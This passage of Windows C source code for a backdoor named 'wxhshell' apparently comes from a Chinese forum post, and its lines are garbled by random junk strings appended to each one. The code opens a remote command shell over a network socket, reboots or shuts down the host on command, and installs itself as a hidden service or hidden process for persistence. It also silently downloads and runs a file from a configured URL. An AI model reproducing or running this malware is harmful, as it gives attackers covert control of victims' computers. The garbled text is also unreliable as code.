{-Gh 62hDg  
    switch(cmd[0]) { &DjA?0`J  
  bk&kZI.D  
  // 帮助 ,f@j4*)  
  case '?': { lI~8[[$xd  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V5p^]To!  
    break; K{,'%|  
  } Vl3-cW@p  
  // 安装 z]KJ4  
  case 'i': { X"9N<)C  
    if(Install()) ~dzD7lG6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]~~G<Yh:=  
    else g W_E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )!U@:x\K  
    break; =[zP  
    } ^nK7&]rK  
  // 卸载 maa$kg8U*!  
  case 'r': { KoA+Vv9  
    if(Uninstall()) 7w]3D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N|%r5%  
    else =k,?+h~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :iGK9I  
    break; ,N;2"$+E  
    } dkY JO!  
  // 显示 wxhshell 所在路径 j5og}P q:  
  case 'p': { JH u>\{8V  
    char svExeFile[MAX_PATH]; bxzx@sF2l  
    strcpy(svExeFile,"\n\r"); HAo=t  
      strcat(svExeFile,ExeFile); 'nq~1 >i  
        send(wsh,svExeFile,strlen(svExeFile),0); f96`n+>x i  
    break; i8p$wf"aW  
    } ;Qi!~VsP;  
  // 重启 p1hF.  
  case 'b': { MK1#^9Zr  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); VFMn"bYOB  
    if(Boot(REBOOT)) 'p78^4'PL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )Gk?x$pY@  
    else { vexF|'!}0#  
    closesocket(wsh); q[+ h ~)  
    ExitThread(0); G B,O  
    }  NEPK   
    break; D>;_R HK  
    } NpCQ4 K  
  // 关机 H:OpS-b  
  case 'd': { s5 {B1e  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); X|/RV4x@Cq  
    if(Boot(SHUTDOWN)) Pt cq/f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fmJK+  
    else { cr|]\  
    closesocket(wsh); CU*TY1%  
    ExitThread(0); t)uxW 7  
    } kr@!j@j$  
    break; 3,`M\#z%K  
    } KhP_U{)D  
  // 获取shell Zy.A9 Bh~  
  case 's': { h_\( $"  
    CmdShell(wsh); CBNt _y  
    closesocket(wsh); mIp> ~  
    ExitThread(0); Q2)(tB= )  
    break; 8 R7w$3pp\  
  } j l]3B  
  // 退出 Yyd]s\W  
  case 'x': { {:b~^yW  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zb4{nzX=  
    CloseIt(wsh); j%D{z5,nKm  
    break; iq?T&44&  
    } ~wF3$H.@;  
  // 离开 |z"$^|@d?  
  case 'q': { [b&V^41W  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4mKH |\g  
    closesocket(wsh); SSTn |  
    WSACleanup(); *M*WjEOA  
    exit(1); C9!FnvH  
    break; `p1B58deC  
        } k Jw Pd;%  
  } Aqz $WTHW+  
  } Q'!'+;&%  
MM*~X"A  
  // 提示信息 xIW]e1pu=(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); + !" Y C  
} .C5<uW5-R  
  } n~BQq-1  
SIKaDIZ  
  return; w{lj'3z I  
} :-lq Yd5^  
DU)q]'[u  
// shell模块句柄 m/jyc# L:u  
int CmdShell(SOCKET sock) eK5~gnv,  
{ 2{Dnfl'k  
STARTUPINFO si; <#;5)!gr{  
ZeroMemory(&si,sizeof(si)); Mk=*2=d  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %`K{0b  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Hmk xE  
PROCESS_INFORMATION ProcessInfo; x7G)^  
char cmdline[]="cmd"; V6_5v+n  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); );y ZyWDV  
  return 0; dtTfV.y4w  
} ]Hq,Pr_+  
[i.c;'Wy/  
// 自身启动模式 e=p_qhBt  
int StartFromService(void) 6rWq hIaI  
{ N6p0`  
typedef struct )V+/@4  
{ \ykA7Y%  
  DWORD ExitStatus; oM^vJ3  
  DWORD PebBaseAddress; Q4*{+$A  
  DWORD AffinityMask; -!mtLaLw  
  DWORD BasePriority; Gc*=n*@^K  
  ULONG UniqueProcessId; zY@0R`{@p  
  ULONG InheritedFromUniqueProcessId; nk_X_y  
}   PROCESS_BASIC_INFORMATION; .Ln98#ZR  
64 'QTF{D  
PROCNTQSIP NtQueryInformationProcess; yB/F6/B~  
;($xAAR  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _V e)M%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; D| <_96_m  
w1(5,~OB  
  HANDLE             hProcess; ;&f(7 Q+T_  
  PROCESS_BASIC_INFORMATION pbi; S 1^t;{"  
g.blDOmlc  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [`s.fkb8  
  if(NULL == hInst ) return 0; Z]WX 7d  
__s'/ 6u  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0u&x%c  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); RRYcg{g  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ut]UU*g^$  
fv+d3s?h  
  if (!NtQueryInformationProcess) return 0; <HTz  
pDJN}XtjT  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -{J0~1'#-  
  if(!hProcess) return 0; ?~T(Cue>  
+4Wl  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m8x?`Gw~jw  
#H4<8B  
  CloseHandle(hProcess); a5O$he  
]bmf}&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f%1\1_^g  
if(hProcess==NULL) return 0; UWhHzLcXh  
!FyO5`v  
HMODULE hMod; yS:w>xU @<  
char procName[255]; :w Y%=  
unsigned long cbNeeded; )c1Pj#|  
R/fE@d2~In  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u rQvJ  
F7w\ctUP  
  CloseHandle(hProcess); 6(t'B!x  
wu11)HFL|z  
if(strstr(procName,"services")) return 1; // 以服务启动 7J`v#  
;;rx)|\<R  
  return 0; // 注册表启动 #Tag"b`  
} f\=,_AQ  
=jpRv<X|,  
// 主模块 0)\(y   
int StartWxhshell(LPSTR lpCmdLine) {iq^CHAVK  
{ 1:M'|uc  
  SOCKET wsl; xaB#GdD  
BOOL val=TRUE; 7mv([}Va  
  int port=0; `s\[X-j]  
  struct sockaddr_in door; }?Pa(0=U  
|0>rojMq  
  if(wscfg.ws_autoins) Install(); s!yD%zO  
#K$0%0=M  
port=atoi(lpCmdLine); >Wx9a"H^(  
`mYp?N jR_  
if(port<=0) port=wscfg.ws_port; W>Pcj EI  
4T"L#o1  
  WSADATA data; V4CA*FEA  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; r4gLoHD)  
'Z,7{U1P  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *%_M?^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Au/'|%2#(  
  door.sin_family = AF_INET; \>EUa}%xn  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); g2}aEfp!H  
  door.sin_port = htons(port); "Wk K1u  
8'fF{C  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z\QN n  
closesocket(wsl); 3m21n7F4*  
return 1; Sx Bo%  
}  ;0$qT$,  
9^C6ZgNS  
  if(listen(wsl,2) == INVALID_SOCKET) { f*hnzj  
closesocket(wsl); *!Gb_!98  
return 1; ;[g~h |{6  
} Eg&Q,dH[  
  Wxhshell(wsl); < 0S\P=\  
  WSACleanup(); 'u%_Ab_H  
5 ^l-3s?M  
return 0; 2\O!vp>|-  
VC Ay~,  
} dvY3=~'  
i!JSEQ_8  
// 以NT服务方式启动 '&gUAt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8Jp?@qt=$  
{ $(OL#>9Ly  
DWORD   status = 0; Oq3t-omXS  
  DWORD   specificError = 0xfffffff; !^1oH**  
B%))HLo'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (U.VCSn  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; fHI@' '0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =M4wP3V/  
  serviceStatus.dwWin32ExitCode     = 0; [5M!'  
  serviceStatus.dwServiceSpecificExitCode = 0; VzcW9'"#  
  serviceStatus.dwCheckPoint       = 0; /z)8k4  
  serviceStatus.dwWaitHint       = 0; yd45y}uS;F  
U}=H1f,  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); v] Xy^7?  
  if (hServiceStatusHandle==0) return; n4"xVDL  
3z#fFP@E  
status = GetLastError(); GIR12%-EO  
  if (status!=NO_ERROR) 1.~^QH\p?3  
{ f_hG2Sk  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~+RrL,t#  
    serviceStatus.dwCheckPoint       = 0; xBw ua;  
    serviceStatus.dwWaitHint       = 0; K #JO#  
    serviceStatus.dwWin32ExitCode     = status; {cw+kY]m4-  
    serviceStatus.dwServiceSpecificExitCode = specificError; eD^(*a>(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {@-tRm&  
    return; (~b0-3s  
  } 9N) Ea:N  
C8:y+pH_U;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; xFp9H'j{  
  serviceStatus.dwCheckPoint       = 0; " 68=dC  
  serviceStatus.dwWaitHint       = 0; ,? &$ c+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1ahb:Mjv  
} (t,|FkVLV  
[{ A5BE -  
// 处理NT服务事件,比如:启动、停止 IY2f$YV  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1gYvp9Ma  
{ :ZM=P3QZ  
switch(fdwControl) ]tbl1=|  
{ }k8&T\V!  
case SERVICE_CONTROL_STOP: _.,"`U; H  
  serviceStatus.dwWin32ExitCode = 0; n!NA}Oa  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  Zzr  
  serviceStatus.dwCheckPoint   = 0; n0^3F1Z  
  serviceStatus.dwWaitHint     = 0; [ID#P Ule  
  { -#AO4xpI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3[m~6 Ys  
  } Mt12 1Q&"  
  return; oT}Sh4Wt.  
case SERVICE_CONTROL_PAUSE: cavzXz  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; G)9`Qn  
  break; K*j1Fy:  
case SERVICE_CONTROL_CONTINUE: zn\$6'"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |X~vsM0  
  break; 6" . v6  
case SERVICE_CONTROL_INTERROGATE: g8Zf("  
  break; N$8"X-na?  
}; + j6^g*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s! sG)AR.J  
} j2%#xZ{33  
Z2k5qs7g  
// 标准应用程序主函数 twPD'X!r  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) TiI3<.a!  
{ l-[5Zl;"  
@#5?tk0  
// 获取操作系统版本 -kzg(+sm  
OsIsNt=GetOsVer(); 3HX-lg`0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `S=4cSH(  
S'AS,'EnY  
  // 从命令行安装 G0x!:[  
  if(strpbrk(lpCmdLine,"iI")) Install(); CH=k=)() ]  
7{ QjE  
  // 下载执行文件 L0xh?B  
if(wscfg.ws_downexe) { -$y/*'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Z3A"GWY  
  WinExec(wscfg.ws_filenam,SW_HIDE); -/6Ms%O  
} )7N$lY<  
B]cV|S|  
if(!OsIsNt) { 5U JMiwP{  
// 如果时win9x,隐藏进程并且设置为注册表启动 <d3N2  
HideProc(); t$U eks  
StartWxhshell(lpCmdLine); +r__>V,  
} Be0v&Q_NK  
else |DoD.?v  
  if(StartFromService()) &-`a`  
  // 以服务方式启动 )/?s^D$,  
  StartServiceCtrlDispatcher(DispatchTable); T4"*w  
else ZL- ` 3x  
  // 普通方式启动 uy=E92n3  
  StartWxhshell(lpCmdLine); :}fIu?hCA  
DYL\=ya1  
return 0; eP|hxqM&9  
}
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只看该作者 1 发表于: 2006-10-10
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